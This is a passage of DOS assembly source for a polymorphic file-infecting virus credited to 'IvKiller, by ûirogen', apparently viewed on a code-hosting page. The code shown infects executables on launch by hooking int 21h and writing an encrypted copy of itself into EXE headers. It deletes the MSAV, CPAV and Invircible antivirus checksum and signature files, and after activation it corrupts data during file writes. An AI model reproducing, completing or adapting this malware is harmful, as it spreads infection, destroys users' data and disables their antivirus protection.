adc ax,cx
|
||||
|
||||
mov cl,9 ; calc new alloc (512)
|
||||
push ax
|
||||
shr ax,cl
|
||||
ror dx,cl
|
||||
stc
|
||||
adc dx,ax
|
||||
pop ax ; ax=size+virus
|
||||
and ah,1
|
||||
|
||||
mov word ptr exe_header+4h,dx
|
||||
mov word ptr exe_header+2h,ax
|
||||
|
||||
lea si,start ; DS:SI=start of code to encrypt
|
||||
mov di,virus_size ; ES:DI=address for decryptor and
|
||||
push di ; encrypted code (at heap)
|
||||
mov cx,virus_size ; CX=virus size
|
||||
mov dx,rel_off ; DX=offset decryptor will run from
|
||||
mov al,00001110b ; jmps,anti-tbscan,garbage, use CS:
|
||||
call _vice ; call engine!
|
||||
|
||||
pop dx
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
call offset_zero
|
||||
|
||||
mov cx,18h ; write fiXed header
|
||||
lea dx,exe_header
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
jmp close
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; set file ptr
|
||||
|
||||
offset_zero: ; self explanitory
|
||||
xor al,al
|
||||
jmp set_fp
|
||||
offset_end:
|
||||
mov al,02h
|
||||
set_fp:
|
||||
mov ah,42h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
ret
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; close file
|
||||
;
|
||||
close_phile:
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
ret
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Kill those darned MSAV and CPAV filez..
|
||||
;
|
||||
kill_chklst:
|
||||
mov di,2 ; counter for loop
|
||||
lea dx,first_2die ; first fname to kill
|
||||
kill_loop:
|
||||
call delete_phile
|
||||
lea dx,last_2die ; second fname to kill
|
||||
dec di
|
||||
jnz kill_loop
|
||||
|
||||
ret
|
||||
first_2die db 'CHKLIST.MS',0 ; MSAV shitty checksum
|
||||
last_2die db 'CHKLIST.CPS',0 ; CPAV shitty checksum
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Resets attribs then deletes phile -> DS:DX
|
||||
;
|
||||
delete_phile:
|
||||
|
||||
mov ax,4301h ; reset attribs
|
||||
xor cx,cx
|
||||
int 21h
|
||||
mov ah,41h
|
||||
int 21h
|
||||
ret
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Set DTA
|
||||
;
|
||||
set_dta:
|
||||
mov ah,1ah
|
||||
int 21h
|
||||
ret
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Kill Invircible Signature Files
|
||||
;
|
||||
kill_iv:
|
||||
push bx
|
||||
lea dx,ff_info
|
||||
call set_dta
|
||||
lea dx,filespec
|
||||
xor cx,cx
|
||||
mov ah,4eh
|
||||
int 21h ; find first
|
||||
jc done_with_iv
|
||||
find_loop:
|
||||
lea dx,ff_name
|
||||
mov ax,3d00h ; open file
|
||||
int 21h
|
||||
jc not_iv ; if error opening then skip
|
||||
xchg ax,bx ; get handle
|
||||
mov ah,3fh ; read first word
|
||||
mov cx,2
|
||||
lea dx,killiv_buf
|
||||
int 21h
|
||||
call close_phile
|
||||
mov ax,word ptr killiv_buf
|
||||
cmp ax,0FEA1h ; is iv?
|
||||
jz yea_iv
|
||||
cmp ax,0C307h ; is iv?
|
||||
jz yea_iv
|
||||
cmp ax,086BBh ; is iv?
|
||||
jnz not_iv
|
||||
yea_iv:
|
||||
lea dx,ff_name
|
||||
call delete_phile ; delete the phucker
|
||||
not_iv:
|
||||
mov ah,4fh ; find next
|
||||
int 21h
|
||||
jnc find_loop
|
||||
done_with_iv:
|
||||
pop bx
|
||||
ret
|
||||
|
||||
killiv_buf dw 0
|
||||
filespec db '*.*',0
|
||||
ff_info db 30 dup (0)
|
||||
ff_name db 13 dup (0)
|
||||
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; new 21h
|
||||
|
||||
new21:
|
||||
|
||||
pushf
|
||||
cmp ax,signal ; be it us?
|
||||
jnz not_us ; richtig..
|
||||
cmp dx,vsafe_word
|
||||
jnz not_us
|
||||
cmp bl,special
|
||||
jnz not_us
|
||||
xor si,si
|
||||
mov di,4559h
|
||||
jmp jmp_org
|
||||
not_us:
|
||||
cmp cs:activate,0 ; time to activate?
|
||||
jz nchk
|
||||
cmp ah,40h ; write to phile?
|
||||
jnz jmp_org
|
||||
xor dx,dx ; phuck up address..
|
||||
nchk: cmp ax,4b00h ; execute phile?
|
||||
jnz jmp_org
|
||||
|
||||
push ax bx cx di dx si ds es bp dx
|
||||
mov ah,2ch ; grab random for cryptor
|
||||
int 21h
|
||||
mov byte ptr cs:xor_val,dl
|
||||
pop dx
|
||||
call crypt_res
|
||||
call infect_file
|
||||
call crypt_res
|
||||
pop bp es ds si dx di cx bx ax
|
||||
|
||||
jmp_org:
|
||||
popf
|
||||
db 0eah ; jump far XXXX:XXXX
|
||||
old21 dd 0
|
||||
|
||||
|
||||
new_24: ; critical error handler
|
||||
mov al,3 ; prompts suck, return fail
|
||||
iret
|
||||
|
||||
|
||||
activate db 0
|
||||
txt_ptr dw offset credits
|
||||
credits db '[IvKiller, by ûirogen]'
|
||||
credit_end:
|
||||
new_jmp db 0E9h,0,0,0 ; jmp XXXX,0
|
||||
rel_off dw 0
|
||||
exe_header:
|
||||
org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
|
||||
heap:
|
||||
db 16h dup(0) ; remaining exe header space
|
||||
old_24_off dw 0 ; old int24h vector
|
||||
old_24_seg dw 0
|
||||
vend:
|
||||
cseg ends
|
||||
end start
|
||||
|
||||
Reference in New Issue
Block a user